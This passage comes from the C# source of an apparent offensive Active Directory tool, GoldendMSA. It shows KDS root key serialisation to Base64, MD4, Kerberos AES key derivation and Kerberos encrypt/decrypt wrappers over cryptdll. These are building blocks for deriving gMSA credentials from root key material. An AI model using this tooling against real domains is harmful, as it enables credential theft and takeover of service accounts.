trackSize += Encoding.Unicode.GetByteCount(KdsDomainID) + 4; 298 | 299 | BitConverter.GetBytes(KdsCreateTime).CopyTo(rootKeyBytes, trackSize); 300 | BitConverter.GetBytes(KdsUseStartTime).CopyTo(rootKeyBytes, trackSize + 8); 301 | BitConverter.GetBytes(ProbReserved7).CopyTo(rootKeyBytes, trackSize + 16); 302 | BitConverter.GetBytes(KdsRootKeyDataSize).CopyTo(rootKeyBytes, trackSize + 24); 303 | KdsRootKeyData.CopyTo(rootKeyBytes, trackSize + 32); 304 | 305 | return rootKeyBytes; 306 | } 307 | 308 | public string ToBase64String() 309 | { 310 | return Convert.ToBase64String(this.Serialize()); 311 | } 312 | 313 | public override string ToString() 314 | { 315 | string result = $"Guid:\t\t{this.cn}{Environment.NewLine}"; 316 | result += $"Base64 blob:\t{this.ToBase64String()}{Environment.NewLine}"; 317 | result += $"----------------------------------------------{Environment.NewLine}"; 318 | 319 | return result; 320 | } 321 | } 322 | } -------------------------------------------------------------------------------- /GoldendMSA/Cryptography.cs: -------------------------------------------------------------------------------- 1 | using GoldendMSA; 2 | using System; 3 | using System.ComponentModel; 4 | using System.Linq; 5 | using System.Runtime.InteropServices; 6 | using System.Security.Cryptography; 7 | using System.Text; 8 | 9 | namespace Cryptography 10 | { 11 | public class MD4 : HashAlgorithm 12 | { 13 | private uint[] _state = new uint[4]; 14 | private byte[] _buffer = new byte[64]; 15 | private int _bufferLength; 16 | private long _totalLength; 17 | 18 | public MD4() 19 | { 20 | Initialize(); 21 | } 22 | 23 | public override void Initialize() 24 | { 25 | _state[0] = 0x67452301; 26 | _state[1] = 0xEFCDAB89; 27 | _state[2] = 0x98BADCFE; 28 | _state[3] = 0x10325476; 29 | _bufferLength = 0; 30 | _totalLength = 0; 31 | } 32 | 33 | protected override void HashCore(byte[] array, int ibStart, int cbSize) 34 | { 35 | _totalLength += cbSize; 36 | 37 | while (cbSize > 0) 38 | { 39 | int bytesToCopy = Math.Min(cbSize, 64 - _bufferLength); 40 | Array.Copy(array, ibStart, _buffer, _bufferLength, bytesToCopy); 41 | 42 | _bufferLength += bytesToCopy; 43 | ibStart += bytesToCopy; 44 | cbSize -= bytesToCopy; 45 | 46 | if (_bufferLength == 64) 47 | { 48 | ProcessBlock(_buffer); 49 | _bufferLength = 0; 50 | } 51 | } 52 | } 53 | 54 | protected override byte[] HashFinal() 55 | { 56 | _buffer[_bufferLength] = 0x80; 57 | _bufferLength++; 58 | 59 | if (_bufferLength > 56) 60 | { 61 | while (_bufferLength < 64) 62 | { 63 | _buffer[_bufferLength] = 0; 64 | _bufferLength++; 65 | } 66 | ProcessBlock(_buffer); 67 | _bufferLength = 0; 68 | } 69 | 70 | while (_bufferLength < 56) 71 | { 72 | _buffer[_bufferLength] = 0; 73 | _bufferLength++; 74 | } 75 | 76 | long bitLength = _totalLength * 8; 77 | for (int i = 0; i < 8; i++) 78 | { 79 | _buffer[56 + i] = (byte)(bitLength >> (i * 8)); 80 | } 81 | 82 | ProcessBlock(_buffer); 83 | 84 | byte[] result = new byte[16]; 85 | for (int i = 0; i < 4; i++) 86 | { 87 | result[i * 4] = (byte)(_state[i]); 88 | result[i * 4 + 1] = (byte)(_state[i] >> 8); 89 | result[i * 4 + 2] = (byte)(_state[i] >> 16); 90 | result[i * 4 + 3] = (byte)(_state[i] >> 24); 91 | } 92 | 93 | return result; 94 | } 95 | 96 | private void ProcessBlock(byte[] block) 97 | { 98 | uint[] x = new uint[16]; 99 | for (int i = 0; i < 16; i++) 100 | { 101 | x[i] = (uint)(block[i * 4] | (block[i * 4 + 1] << 8) | 102 | (block[i * 4 + 2] << 16) | (block[i * 4 + 3] << 24)); 103 | } 104 | 105 | uint a = _state[0], b = _state[1], c = _state[2], d = _state[3]; 106 | 107 | a = FF(a, b, c, d, x[0], 3); d = FF(d, a, b, c, x[1], 7); 108 | c = FF(c, d, a, b, x[2], 11); b = FF(b, c, d, a, x[3], 19); 109 | a = FF(a, b, c, d, x[4], 3); d = FF(d, a, b, c, x[5], 7); 110 | c = FF(c, d, a, b, x[6], 11); b = FF(b, c, d, a, x[7], 19); 111 | a = FF(a, b, c, d, x[8], 3); d = FF(d, a, b, c, x[9], 7); 112 | c = FF(c, d, a, b, x[10], 11); b = FF(b, c, d, a, x[11], 19); 113 | a = FF(a, b, c, d, x[12], 3); d = FF(d, a, b, c, x[13], 7); 114 | c = FF(c, d, a, b, x[14], 11); b = FF(b, c, d, a, x[15], 19); 115 | 116 | // Round 2 117 | a = GG(a, b, c, d, x[0], 3); d = GG(d, a, b, c, x[4], 5); 118 | c = GG(c, d, a, b, x[8], 9); b = GG(b, c, d, a, x[12], 13); 119 | a = GG(a, b, c, d, x[1], 3); d = GG(d, a, b, c, x[5], 5); 120 | c = GG(c, d, a, b, x[9], 9); b = GG(b, c, d, a, x[13], 13); 121 | a = GG(a, b, c, d, x[2], 3); d = GG(d, a, b, c, x[6], 5); 122 | c = GG(c, d, a, b, x[10], 9); b = GG(b, c, d, a, x[14], 13); 123 | a = GG(a, b, c, d, x[3], 3); d = GG(d, a, b, c, x[7], 5); 124 | c = GG(c, d, a, b, x[11], 9); b = GG(b, c, d, a, x[15], 13); 125 | 126 | a = HH(a, b, c, d, x[0], 3); d = HH(d, a, b, c, x[8], 9); 127 | c = HH(c, d, a, b, x[4], 11); b = HH(b, c, d, a, x[12], 15); 128 | a = HH(a, b, c, d, x[2], 3); d = HH(d, a, b, c, x[10], 9); 129 | c = HH(c, d, a, b, x[6], 11); b = HH(b, c, d, a, x[14], 15); 130 | a = HH(a, b, c, d, x[1], 3); d = HH(d, a, b, c, x[9], 9); 131 | c = HH(c, d, a, b, x[5], 11); b = HH(b, c, d, a, x[13], 15); 132 | a = HH(a, b, c, d, x[3], 3); d = HH(d, a, b, c, x[11], 9); 133 | c = HH(c, d, a, b, x[7], 11); b = HH(b, c, d, a, x[15], 15); 134 | 135 | _state[0] += a; 136 | _state[1] += b; 137 | _state[2] += c; 138 | _state[3] += d; 139 | } 140 | 141 | private static uint FF(uint a, uint b, uint c, uint d, uint x, int s) 142 | { 143 | return RotateLeft(a + F(b, c, d) + x, s); 144 | } 145 | 146 | private static uint GG(uint a, uint b, uint c, uint d, uint x, int s) 147 | { 148 | return RotateLeft(a + G(b, c, d) + x + 0x5A827999, s); 149 | } 150 | 151 | private static uint HH(uint a, uint b, uint c, uint d, uint x, int s) 152 | { 153 | return RotateLeft(a + H(b, c, d) + x + 0x6ED9EBA1, s); 154 | } 155 | 156 | private static uint F(uint x, uint y, uint z) 157 | { 158 | return (x & y) | (~x & z); 159 | } 160 | 161 | private static uint G(uint x, uint y, uint z) 162 | { 163 | return (x & y) | (x & z) | (y & z); 164 | } 165 | 166 | private static uint H(uint x, uint y, uint z) 167 | { 168 | return x ^ y ^ z; 169 | } 170 | 171 | private static uint RotateLeft(uint value, int shift) 172 | { 173 | return (value << shift) | (value >> (32 - shift)); 174 | } 175 | } 176 | 177 | public class AES256 178 | { 179 | private const int AES128_SEEDSIZE = 16; 180 | private const int AES128_KEYSIZE = 16; 181 | private const int AES256_SEEDSIZE = 32; 182 | private const int AES256_KEYSIZE = 32; 183 | private const int BLOCKSIZE = 16; 184 | private const int DEFAULT_ITERATIONS = 4096; 185 | 186 | public byte[] StringToKeyAES256(byte[] password, string salt, byte[] parameters = null) 187 | { 188 | return StringToKey(password, salt, AES256_SEEDSIZE, AES256_KEYSIZE, parameters); 189 | } 190 | 191 | public byte[] StringToKeyAES128(byte[] password, string salt, byte[] parameters = null) 192 | { 193 | return StringToKey(password, salt, AES128_SEEDSIZE, AES128_KEYSIZE, parameters); 194 | } 195 | 196 | private byte[] StringToKey(byte[] password, string salt, int seedSize, int keySize, byte[] parameters = null) 197 | { 198 | int iterations = DEFAULT_ITERATIONS; 199 | if (parameters != null && parameters.Length >= 4) 200 | { 201 | iterations = BitConverter.ToInt32(parameters, 0); 202 | if (BitConverter.IsLittleEndian) 203 | { 204 | iterations = ((iterations & 0xFF) << 24) | 205 | (((iterations >> 8) & 0xFF) << 16) | 206 | (((iterations >> 16) & 0xFF) << 8) | 207 | ((iterations >> 24) & 0xFF); 208 | } 209 | } 210 | 211 | byte[] saltBytes = Encoding.UTF8.GetBytes(salt); 212 | 213 | byte[] seed; 214 | using (var pbkdf2 = new Rfc2898DeriveBytes(password, saltBytes, iterations, HashAlgorithmName.SHA1)) 215 | { 216 | seed = pbkdf2.GetBytes(seedSize); 217 | } 218 | 219 | byte[] tempKey = new byte[keySize]; 220 | Array.Copy(seed, tempKey, keySize); 221 | 222 | byte[] kerberosConstant = Encoding.UTF8.GetBytes("kerberos"); 223 | byte[] finalKey = Derive(tempKey, kerberosConstant, seedSize, keySize); 224 | 225 | return finalKey; 226 | } 227 | 228 | private byte[] Derive(byte[] key, byte[] constant, int seedSize, int keySize) 229 | { 230 | byte[] plaintext = NFold(constant, BLOCKSIZE); 231 | 232 | byte[] rndseed = new byte[0]; 233 | while (rndseed.Length < seedSize) 234 | { 235 | byte[] ciphertext = BasicEncrypt(key, plaintext); 236 | byte[] newRndseed = new byte[rndseed.Length + ciphertext.Length]; 237 | Array.Copy(rndseed, newRndseed, rndseed.Length); 238 | Array.Copy(ciphertext, 0, newRndseed, rndseed.Length, ciphertext.Length); 239 | rndseed = newRndseed; 240 | plaintext = ciphertext; 241 | } 242 | 243 | byte[] finalKey = new byte[keySize]; 244 | Array.Copy(rndseed, finalKey, keySize); 245 | return finalKey; 246 | } 247 | 248 | private byte[] BasicEncrypt(byte[] key, byte[] plaintext) 249 | { 250 | int paddedLength = ((plaintext.Length + 15) / 16) * 16; 251 | byte[] paddedPlaintext = new byte[paddedLength]; 252 | Array.Copy(plaintext, paddedPlaintext, plaintext.Length); 253 | 254 | using (var aes = Aes.Create()) 255 | { 256 | aes.Key = key; 257 | aes.IV = new byte[16]; 258 | aes.Mode = CipherMode.CBC; 259 | aes.Padding = PaddingMode.None; 260 | 261 | using (var encryptor = aes.CreateEncryptor()) 262 | { 263 | return encryptor.TransformFinalBlock(paddedPlaintext, 0, paddedPlaintext.Length); 264 | } 265 | } 266 | } 267 | private byte[] NFold(byte[] input, int nbytes) 268 | { 269 | int inputLen = input.Length; 270 | int lcm = Lcm(nbytes, inputLen); 271 | 272 | byte[] bigstr = new byte[lcm]; 273 | for (int i = 0; i < lcm / inputLen; i++) 274 | { 275 | byte[] rotated = RotateRight(input, 13 * i); 276 | Array.Copy(rotated, 0, bigstr, i * inputLen, inputLen); 277 | } 278 | 279 | // Add slices together with ones' complement arithmetic 280 | byte[] result = new byte[nbytes]; 281 | for (int i = 0; i < lcm; i += nbytes) 282 | { 283 | byte[] slice = new byte[nbytes]; 284 | Array.Copy(bigstr, i, slice, 0, nbytes); 285 | result = AddOnesComplement(result, slice); 286 | } 287 | 288 | return result; 289 | } 290 | 291 | private byte[] RotateRight(byte[] data, int nbits) 292 | { 293 | byte[] result = new byte[data.Length]; 294 | int nbytes = (nbits / 8) % data.Length; 295 | int remain = nbits % 8; 296 | 297 | for (int i = 0; i < data.Length; i++) 298 | { 299 | int sourceIndex = (i - nbytes + data.Length) % data.Length; 300 | int prevIndex = (sourceIndex - 1 + data.Length) % data.Length; 301 | 302 | result[i] = (byte)((data[sourceIndex] >> remain) | 303 | ((data[prevIndex] << (8 - remain)) & 0xFF)); 304 | } 305 | 306 | return result; 307 | } 308 | 309 | private byte[] AddOnesComplement(byte[] a, byte[] b) 310 | { 311 | int[] result = new int[a.Length]; 312 | 313 | for (int i = 0; i < a.Length; i++) 314 | { 315 | result[i] = a[i] + b[i]; 316 | } 317 | 318 | bool hasCarry; 319 | do 320 | { 321 | hasCarry = false; 322 | for (int i = 0; i < result.Length; i++) 323 | { 324 | if (result[i] > 0xFF) 325 | { 326 | hasCarry = true; 327 | int nextIndex = (i + 1) % result.Length; 328 | result[nextIndex] += result[i] >> 8; 329 | result[i] &= 0xFF; 330 | } 331 | } 332 | } while (hasCarry); 333 | 334 | byte[] final = new byte[a.Length]; 335 | for (int i = 0; i < a.Length; i++) 336 | { 337 | final[i] = (byte)result[i]; 338 | } 339 | 340 | return final; 341 | } 342 | 343 | private int Gcd(int a, int b) 344 | { 345 | while (b != 0) 346 | { 347 | int temp = b; 348 | b = a % b; 349 | a = temp; 350 | } 351 | return a; 352 | } 353 | 354 | private int Lcm(int a, int b) 355 | { 356 | return (a * b) / Gcd(a, b); 357 | } 358 | 359 | } 360 | 361 | public class CryptoActions 362 | { 363 | 364 | public static byte[] KerberosDecrypt(Interop.KERB_ETYPE eType, int keyUsage, byte[] key, byte[] data) 365 | { 366 | Interop.KERB_ECRYPT pCSystem; 367 | IntPtr pCSystemPtr; 368 | 369 | 370 | int status = Interop.CDLocateCSystem(eType, out pCSystemPtr); 371 | pCSystem = (Interop.KERB_ECRYPT)Marshal.PtrToStructure(pCSystemPtr, typeof(Interop.KERB_ECRYPT)); 372 | if (status != 0) 373 | throw new Win32Exception(status, "Error on CDLocateCSystem"); 374 | 375 | IntPtr pContext; 376 | Interop.KERB_ECRYPT_Initialize pCSystemInitialize = (Interop.KERB_ECRYPT_Initialize)Marshal.GetDelegateForFunctionPointer(pCSystem.Initialize, typeof(Interop.KERB_ECRYPT_Initialize)); 377 | Interop.KERB_ECRYPT_Decrypt pCSystemDecrypt = (Interop.KERB_ECRYPT_Decrypt)Marshal.GetDelegateForFunctionPointer(pCSystem.Decrypt, typeof(Interop.KERB_ECRYPT_Decrypt)); 378 | Interop.KERB_ECRYPT_Finish pCSystemFinish = (Interop.KERB_ECRYPT_Finish)Marshal.GetDelegateForFunctionPointer(pCSystem.Finish, typeof(Interop.KERB_ECRYPT_Finish)); 379 | status = pCSystemInitialize(key, key.Length, keyUsage, out pContext); 380 | if (status != 0) 381 | throw new Win32Exception(status); 382 | 383 | int outputSize = data.Length; 384 | if (data.Length % pCSystem.BlockSize != 0) 385 | outputSize += pCSystem.BlockSize - (data.Length % pCSystem.BlockSize); 386 | 387 | string algName = Marshal.PtrToStringAuto(pCSystem.AlgName); 388 | 389 | outputSize += pCSystem.Size; 390 | byte[] output = new byte[outputSize]; 391 | 392 | status = pCSystemDecrypt(pContext, data, data.Length, output, ref outputSize); 393 | pCSystemFinish(ref pContext); 394 | 395 | return output.Take(outputSize).ToArray(); 396 | } 397 | 398 | 399 | public static byte[] KerberosEncrypt(Interop.KERB_ETYPE eType, int keyUsage, byte[] key, byte[] data) 400 | { 401 | Interop.KERB_ECRYPT pCSystem; 402 | IntPtr pCSystemPtr; 403 | 404 | int status = Interop.CDLocateCSystem(eType, out pCSystemPtr); 405 | pCSystem = (Interop.KERB_ECRYPT)Marshal.PtrToStructure(pCSystemPtr, typeof(Interop.KERB_ECRYPT)); 406 | if (status != 0) 407 | throw new Win32Exception(status, "Error on CDLocateCSystem"); 408 | 409 | IntPtr pContext; 410 | Interop.KERB_ECRYPT_Initialize pCSystemInitialize = (Interop.KERB_ECRYPT_Initialize)Marshal.GetDelegateForFunctionPointer(pCSystem.Initialize, typeof(Interop.KERB_ECRYPT_Initialize)); 411 | Interop.KERB_ECRYPT_Encrypt pCSystemEncrypt = (Interop.KERB_ECRYPT_Encrypt)Marshal.GetDelegateForFunctionPointer(pCSystem.Encrypt, typeof(Interop.KERB_ECRYPT_Encrypt)); 412 | Interop.KERB_ECRYPT_Finish pCSystemFinish = (Interop.KERB_ECRYPT_Finish)Marshal.GetDelegateForFunctionPointer(pCSystem.Finish, typeof(Interop.KERB_ECRYPT_Finish)); 413 | status = pCSystemInitialize(key, key.Length, keyUsage, out pContext); 414 | if (status != 0) 415 | throw new Win32Exception(status); 416 | 417 | int outputSize = data.Length; 418 | if (data.Length % pCSystem.BlockSize != 0) 419 | outputSize += pCSystem.BlockSize - (data.Length % pCSystem.BlockSize); 420 | 421 | string algName = Marshal.PtrToStringAuto(pCSystem.AlgName); 422 | 423 | outputSize += pCSystem.Size; 424 | byte[] output = new byte[outputSize]; 425 | 426 | status = pCSystemEncrypt(pContext, data, data.Length, output, ref outputSize); 427 | pCSystemFinish(ref pContext); 428 | 429 | return output; 430 | } 431 | 432 | } 433 | } 434 | 435 | 436 | --------------------------------------------------------------------------------